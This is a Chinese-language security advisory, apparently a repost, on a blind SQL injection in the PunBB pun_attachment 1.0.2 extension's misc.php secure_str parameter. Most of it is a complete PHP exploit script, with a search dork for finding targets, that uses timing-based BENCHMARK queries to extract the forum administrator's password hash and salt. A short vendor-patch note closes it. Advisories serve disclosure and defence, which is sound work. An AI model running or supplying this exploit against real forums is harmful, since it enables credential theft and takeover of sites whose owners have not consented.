受影响系统：
PunBB pun_attachment 1.0.2
描述：
PunBB是一款基于PHP的论坛程序。
PunBB所使用的pun_attachment扩展中没有正确地过滤对misc.php页面所提交的secure_str参数：
if (isset($_GET[‘secure_str’]))
{
if (preg_match(‘~(\d+)f(\d+)~’, $_GET[‘secure_str’], $match))
{
…
‘WHERE’ => ‘a.id = ‘.$attach_item.’ AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \”.$_GET[‘secure_str’].’\”
远程攻击者可以通过提交恶意的参数请求执行SQL注入攻击。
<*来源：puret_t （puretot@gmail.com）
链接：http://secunia.com/advisories/37174/
http://bbs.wolvez.org/topic/98/
*>
测试方法：
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/php
<?php
print_r(‘
+—————————————————————————+
Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PunBB"
+—————————————————————————+
‘);
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r(‘
+—————————————————————————+
Usage: php ‘.$argv[0].’ host path
host: target server (ip/hostname)
path: path to punbb
Example:
php ‘.$argv[0].’ localhost /punbb/
+—————————————————————————+
‘);
exit;
}
error_reporting(7);
ini_set(‘max_execution_time’, 0);
$host = $argv[1];
$path = $argv[2];
$pre = ‘pun_’;
$benchmark = 200000000;
$timeout = 10;
echo "Plz Waiting…\nPassword:\n";
/**
* get pass
*/
$j = 1;
$pass = ”;
$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters
while (strlen($pass) < 40) {
for ($i = 0; $i <= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd = ‘1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20′.$pre.’users%20WHERE%20group_id=1%20LIMIT%201),’.$j.’,1))=’.$i.’),BENCHMARK(‘.$benchmark.’,CHAR(0)),1))%23′;
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime – $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ++;
}
echo "\nSalt:\n";
/**
* get salt
*/
$j = 1;
$salt = ”;
$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));
while (strlen($salt) < 12) {
for ($i = 0; $i <= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd = ‘1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20′.$pre.’users%20WHERE%20group_id=1%20LIMIT%201),’.$j.’,1))=’.$i.’),BENCHMARK(‘.$benchmark.’,CHAR(0)),1))%23′;
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime – $starttime;
if ($difftime > $timeout) {
$salt .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ++;
}
exit("\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n");
function send()
{
global $host, $path, $cmd;
$data = "GET ".$path."misc.php?item=1&secure_str=".$cmd." HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
fputs($fp, $data);
$resp = ”;
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
?>
建议：
厂商补丁：
PunBB
—–
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
0 条评论。